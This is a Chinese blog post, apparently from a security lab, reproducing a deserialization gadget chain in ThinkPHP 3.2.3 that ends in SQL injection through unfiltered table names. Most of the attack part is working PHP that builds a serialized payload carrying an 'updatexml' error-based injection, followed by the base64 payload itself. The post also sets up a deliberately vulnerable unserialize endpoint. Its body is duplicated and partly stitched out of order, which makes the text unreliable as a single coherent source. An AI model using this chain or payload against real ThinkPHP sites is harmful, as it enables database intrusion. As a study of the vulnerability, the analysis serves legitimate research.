• ThinkPHP3.2.3反序列化链子分析


     前言

     目前官方已经不再维护ThinkPHP3.2.3,本文仅对ThinkPHP3.2.3反序列化链子进行复现,如有纰漏,还望指正。

     环境介绍

    • MAMP pro

    • PhpStorm

    • Xdebug

     利用条件

    • 具备反序列化入口

     分析过程

     首先在分析前,先新建一个控制器,写一个反序列化入口

     在Application/Home/Controller/HelloController.class.php中新建以下内容:

    <?php
    namespace Home\Controller;

    use Think\Controller;

    class HelloController extends Controller
    {
       public function index($Lxxx){
           echo base64_decode($Lxxx);
           $a = unserialize(base64_decode($Lxxx));
      }
    }

     反序列化入口自己创建好了,接下来新建一个开始找反序列化链头,因为大多数反序列化漏洞,都是由__destruct()魔术方法引起的,因此全局搜索public function __destruct()

     分析一下不可用入口:

    ThinkPHP3.2.3 反序列化链子分析570.png

     例如,像上方这种,就没有可控参数,就不是很好利用

     通常,在寻找__destruct()可用的魔术方法需遵循“可控变量尽可能多”的原则

     因此在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php文件中,找到具有可控变量的析构函数方法:

    ThinkPHP3.2.3 反序列化链子分析717.png

     如果我们对img属性赋一个对象,那么它会调用destroy()方法,这时,我们全局搜索具有destroy()方法的类,这里有一个坑点,就是在PHP7版本中,如果调用一个含参数的方法,却不传入参数时,ThinkPHP会报错,而在PHP5版本中不会报错

     而我们全局搜索的结果如下:

    ThinkPHP3.2.3 反序列化链子分析859.png

     在ThinkPHP/Library/Think/Model.class.php中,destroy()方法有两个可控参数,调用的是delete方法,同样,类可控,delete方法的参数看似可控,其实不可控,因为下方全局搜索后,delete方法需要的参数大多数都为array形式,而上方传入的是$this->sessionName.$sessID,即使$this->sesionName设置为数组array,但是$sessID如果为空值,在PHP中,用.连接符连接,得到的结果为字符串array

    <?php
    $a = array("123"=>"123");
    var_dump($a."");
    ?>
    string(5) "Array"

     接下来全局搜索delete方法

    ThinkPHP3.2.3 反序列化链子分析1195.png

     如果能够满足红色方框前面的条件,那么我们期望能调用红色方框中的delete方法

     上面分析了这么多了,保险起见,我们这边还是先在这个文件下,echo一个值,然后将前面分析的链子整合一下,进行反序列化,看看调用过程是否正确。

    ThinkPHP3.2.3 反序列化链子分析1309.png

     前面一共涉及到三个类,我们在Model.class.php中打印一个值,构造这三个类序列化字符串如下:

    <?php
    namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
    private $img;
    public function __construct(){
    $this->img = new Memcache();
    }
    }
    }

    namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
    protected $handle = null;
    public function __construct(){
    $this->handle = new Model();
    }
    }
    }

    namespace Think{
    class Model{

    }
    }

    namespace{
    $a = new Think\Image\Driver\Imagick();
    echo base64_encode(serialize($a));
    }

     输出:

    TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjA6e319fQ==

     传给浏览器后,我们可以看到Lxxx被成功的打印了出来

    ThinkPHP3.2.3 反序列化链子分析2084.png

     也就是说截止目前,我们的分析还没有问题,那接着往下分析:

     在ThinkPHP/Library/Think/Model.class.php中,$this->data可控,我们期望进入下方的return语句中,因为此时如果我们对$this->data传入,则该方法的option参数变相可控

    ThinkPHP3.2.3 反序列化链子分析2231.png

    接着看这个方法,往下看,看看是否有可控的点

    ThinkPHP3.2.3 反序列化链子分析2256.png

     上方红框的位置$this->db我们可控,delete方法也可控,option值上面说了,变相可控

     那么我们就可以继续搜索delete方法,注意,这个时候搜索delete方法和上面就不一样的了,之前delete方法参数不可控,此时可控了。

    ThinkPHP3.2.3 反序列化链子分析2379.png

     在ThinkPHP/Library/Think/Db/Driver.class.php文件中,可能存在SQL注入的点,我们跟进看一看。

     下方的sql语句可能存在注入

    ThinkPHP3.2.3 反序列化链子分析2465.png

     这里直接对table进行拼接,上方有一个parseTable方法,跟进看一下,看看是否存在过滤。

    ThinkPHP3.2.3 反序列化链子分析2517.png

     可以看到,这里parseTable方法只是调用了parseKey方法,再跟进parseKey方法

    ThinkPHP3.2.3 反序列化链子分析2569.png

     parseKey方法没有过滤,直接将传入的参数返回,下方红框处就是执行sql的地方了,在执行之前可以将sql打印出来,方便调试

    ThinkPHP3.2.3 反序列化链子分析2636.png

     这么一来就可以构造链子了

    <?php
    namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
    private $img;
    public function __construct(){
    $this->img = new Memcache();
    }
    }
    }

    namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
    protected $handle = null;
    public function __construct(){
    $this->handle = new Model();
    }
    }
    }

    namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
    protected $pk;
    protected $db;
    protected $data = array();
    public function __construct(){
    $this->db = new Mysql();
    $this->pk = "id";
    $this->data[$this->pk] = array(
                   "table" => "mysql.user where 0 or updatexml(1,concat(0x7e,database()),1)#",
                   "where" => "1=1"
              );
    }
    }
    }
    namespace Think\Db\Driver{
    class Mysql{
           protected $config = array(
               "debug"    => 1,
               "database" => "tp323",
               "hostname" => "127.0.0.1",
               "hostport" => "8889",
               "charset"  => "utf8",
               "username" => "root",
               "password" => "root"
          );

     前言

     目前官方已经不再维护ThinkPHP3.2.3,本文仅对ThinkPHP3.2.3反序列化链子进行复现,如有纰漏,还望指正。

     环境介绍

    • MAMP pro

    • PhpStorm

    • Xdebug

     利用条件

    • 具备反序列化入口

     分析过程

     首先在分析前,先新建一个控制器,写一个反序列化入口

     在Application/Home/Controller/HelloController.class.php中新建以下内容:

    <?php
    namespace Home\Controller;

    use Think\Controller;

    class HelloController extends Controller
    {
       public function index($Lxxx){
           echo base64_decode($Lxxx);
           $a = unserialize(base64_decode($Lxxx));
      }
    }

     反序列化入口自己创建好了,接下来新建一个开始找反序列化链头,因为大多数反序列化漏洞,都是由__destruct()魔术方法引起的,因此全局搜索public function __destruct()

     分析一下不可用入口:

    ThinkPHP3.2.3 反序列化链子分析570.png

     例如,像上方这种,就没有可控参数,就不是很好利用

     通常,在寻找__destruct()可用的魔术方法需遵循“可控变量尽可能多”的原则

     因此在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php文件中,找到具有可控变量的析构函数方法:

    ThinkPHP3.2.3 反序列化链子分析717.png

     如果我们对img属性赋一个对象,那么它会调用destroy()方法,这时,我们全局搜索具有destroy()方法的类,这里有一个坑点,就是在PHP7版本中,如果调用一个含参数的方法,却不传入参数时,ThinkPHP会报错,而在PHP5版本中不会报错

     而我们全局搜索的结果如下:

    ThinkPHP3.2.3 反序列化链子分析859.png

     在ThinkPHP/Library/Think/Model.class.php中,destroy()方法有两个可控参数,调用的是delete方法,同样,类可控,delete方法的参数看似可控,其实不可控,因为下方全局搜索后,delete方法需要的参数大多数都为array形式,而上方传入的是$this->sessionName.$sessID,即使$this->sesionName设置为数组array,但是$sessID如果为空值,在PHP中,用.连接符连接,得到的结果为字符串array

    <?php
    $a = array("123"=>"123");
    var_dump($a."");
    ?>
    string(5) "Array"

     接下来全局搜索delete方法

    ThinkPHP3.2.3 反序列化链子分析1195.png

     如果能够满足红色方框前面的条件,那么我们期望能调用红色方框中的delete方法

     上面分析了这么多了,保险起见,我们这边还是先在这个文件下,echo一个值,然后将前面分析的链子整合一下,进行反序列化,看看调用过程是否正确。

    ThinkPHP3.2.3 反序列化链子分析1309.png

     前面一共涉及到三个类,我们在Model.class.php中打印一个值,构造这三个类序列化字符串如下:

    <?php
    namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
    private $img;
    public function __construct(){
    $this->img = new Memcache();
    }
    }
    }

    namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
    protected $handle = null;
    public function __construct(){
    $this->handle = new Model();
    }
    }
    }

    namespace Think{
    class Model{

    }
    }

    namespace{
    $a = new Think\Image\Driver\Imagick();
    echo base64_encode(serialize($a));
    }

     输出:

    TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjA6e319fQ==

     传给浏览器后,我们可以看到Lxxx被成功的打印了出来

    ThinkPHP3.2.3 反序列化链子分析2084.png

     也就是说截止目前,我们的分析还没有问题,那接着往下分析:

     在ThinkPHP/Library/Think/Model.class.php中,$this->data可控,我们期望进入下方的return语句中,因为此时如果我们对$this->data传入,则该方法的option参数变相可控

    ThinkPHP3.2.3 反序列化链子分析2231.png

    接着看这个方法,往下看,看看是否有可控的点

    ThinkPHP3.2.3 反序列化链子分析2256.png

     上方红框的位置$this->db我们可控,delete方法也可控,option值上面说了,变相可控

     那么我们就可以继续搜索delete方法,注意,这个时候搜索delete方法和上面就不一样的了,之前delete方法参数不可控,此时可控了。

    ThinkPHP3.2.3 反序列化链子分析2379.png

     在ThinkPHP/Library/Think/Db/Driver.class.php文件中,可能存在SQL注入的点,我们跟进看一看。

     下方的sql语句可能存在注入

    ThinkPHP3.2.3 反序列化链子分析2465.png

     这里直接对table进行拼接,上方有一个parseTable方法,跟进看一下,看看是否存在过滤。

    ThinkPHP3.2.3 反序列化链子分析2517.png

     可以看到,这里parseTable方法只是调用了parseKey方法,再跟进parseKey方法

    ThinkPHP3.2.3 反序列化链子分析2569.png

     parseKey方法没有过滤,直接将传入的参数返回,下方红框处就是执行sql的地方了,在执行之前可以将sql打印出来,方便调试

    ThinkPHP3.2.3 反序列化链子分析2636.png

     这么一来就可以构造链子了

    <?php
    namespace Think\Image\Driver{
    use Think\Session\Driver\Memcache;
    class Imagick{
    private $img;
    public function __construct(){
    $this->img = new Memcache();
    }
    }
    }

    namespace Think\Session\Driver{
    use Think\Model;
    class Memcache{
    protected $handle = null;
    public function __construct(){
    $this->handle = new Model();
    }
    }
    }

    namespace Think{
    use Think\Db\Driver\Mysql;
    class Model{
    protected $pk;
    protected $db;
    protected $data = array();
    public function __construct(){
    $this->db = new Mysql();
    $this->pk = "id";
    $this->data[$this->pk] = array(
                   "table" => "mysql.user where 0 or updatexml(1,concat(0x7e,database()),1)#",
                   "where" => "1=1"
              );
    }
    }
    }
    namespace Think\Db\Driver{
    class Mysql{
           protected $config = array(
               "debug"    => 1,
               "database" => "tp323",
               "hostname" => "127.0.0.1",
               "hostport" => "8889",
               "charset"  => "utf8",
               "username" => "root",
               "password" => "root"
          );
    }
    }
    namespace{
    $a = new Think\Image\Driver\Imagick();
    echo base64_encode(serialize($a));
    }

     得到结果:

    TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjM6e3M6NToiACoAcGsiO3M6MjoiaWQiO3M6NToiACoAZGIiO086MjE6IlRoaW5rXERiXERyaXZlclxNeXNxbCI6MTp7czo5OiIAKgBjb25maWciO2E6Nzp7czo1OiJkZWJ1ZyI7aToxO3M6ODoiZGF0YWJhc2UiO3M6NToidHAzMjMiO3M6ODoiaG9zdG5hbWUiO3M6OToiMTI3LjAuMC4xIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6Ijg4ODkiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6NDoicm9vdCI7fX1zOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjYxOiJteXNxbC51c2VyIHdoZXJlIDAgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkjIjtzOjU6IndoZXJlIjtzOjM6IjE9MSI7fX19fX0

    ThinkPHP3.2.3 反序列化链子分析4562.png

     后记

     多断点,多打印,多跟进,多思考。

     推荐实验:PHP反序列化漏洞实验(合天网安实验室) 点击进入实操>>


    }
    }
    namespace{
    $a = new Think\Image\Driver\Imagick();
    echo base64_encode(serialize($a));
    }

     得到结果:

    TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjM6e3M6NToiACoAcGsiO3M6MjoiaWQiO3M6NToiACoAZGIiO086MjE6IlRoaW5rXERiXERyaXZlclxNeXNxbCI6MTp7czo5OiIAKgBjb25maWciO2E6Nzp7czo1OiJkZWJ1ZyI7aToxO3M6ODoiZGF0YWJhc2UiO3M6NToidHAzMjMiO3M6ODoiaG9zdG5hbWUiO3M6OToiMTI3LjAuMC4xIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6Ijg4ODkiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6NDoicm9vdCI7fX1zOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjYxOiJteXNxbC51c2VyIHdoZXJlIDAgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkjIjtzOjU6IndoZXJlIjtzOjM6IjE9MSI7fX19fX0

    ThinkPHP3.2.3 反序列化链子分析4562.png

     后记

     多断点,多打印,多跟进,多思考。

     推荐实验:PHP反序列化漏洞实验(合天网安实验室) 点击进入实操>>

     

  • 相关阅读:
    如何利用交易形态的失败进行现货黄金?
    Axure RP9 引入eCharts图表
    华为---OSPF网络虚连接(Virtual Link)简介及示例配置
    【vim 学习系列文章 10 -- vim 将代码中空格高亮显示方法】
    小白学习,在kali里面用volatility3,一步一步细致操作,解决问题。建议电子取证选手好好看看。
    来自北大算法课的Leetcode题解:72. 编辑距离
    springboot+mybatis-plus实现多数据源(从数据库加载多数据源)
    java计算机毕业设计Web医学院校大学生就业信息管理系统源码+mysql数据库+系统+lw文档+部署1
    实时错误’-2147217887‘多步OLB DB 操作产生错误。如果可能,请检查OLE DB状态值
    Win10, vscode 调试go代码时,安装dlv失败
  • 原文地址:https://www.cnblogs.com/hetianlab/p/16148660.html